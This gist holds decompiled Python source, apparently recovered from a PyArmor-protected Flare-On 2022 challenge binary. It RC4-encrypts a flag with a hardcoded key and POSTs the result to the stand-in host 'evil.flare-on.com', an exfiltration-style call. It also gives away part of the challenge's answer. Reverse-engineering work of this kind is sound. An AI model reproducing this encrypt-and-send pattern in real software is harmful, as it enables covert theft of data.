Skip to content

Instantly share code, notes, and snippets.

@extremecoders-re
Created November 13, 2022 07:51
Show Gist options
  • Save extremecoders-re/1c3fa80c635086c2584b7818869beda7 to your computer and use it in GitHub Desktop.
Save extremecoders-re/1c3fa80c635086c2584b7818869beda7 to your computer and use it in GitHub Desktop.

Revisions

  1. extremecoders-re created this gist Nov 13, 2022.
    24 changes: 24 additions & 0 deletions 11.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,24 @@
    # uncompyle6 version 3.7.4
    # Python bytecode 3.7 (3394)
    # Decompiled from: Python 3.7.11 (default, Jul 27 2021, 09:42:29) [MSC v.1916 64 bit (AMD64)]
    # Embedded file name: <frozen 11>
    import crypt, base64, requests
    config = {'url':'http://www.evil.flare-on.com', 'flag':b'[email protected]', 'key':b'PyArmor_Pr0tecteth_My_K3y'}
    cipher = crypt.ARC4(config['key'])
    flag = base64.b64encode(cipher.encrypt(config['flag']))
    try:
    requests.post((config['url']), data={'flag': flag})
    except requests.exceptions.RequestException as e:
    try:
    pass
    finally:
    e = None
    del e

    except Exception as e:
    try:
    pass
    finally:
    e = None
    del e
    # okay decompiling pyc-deobfuscated\c11.pyc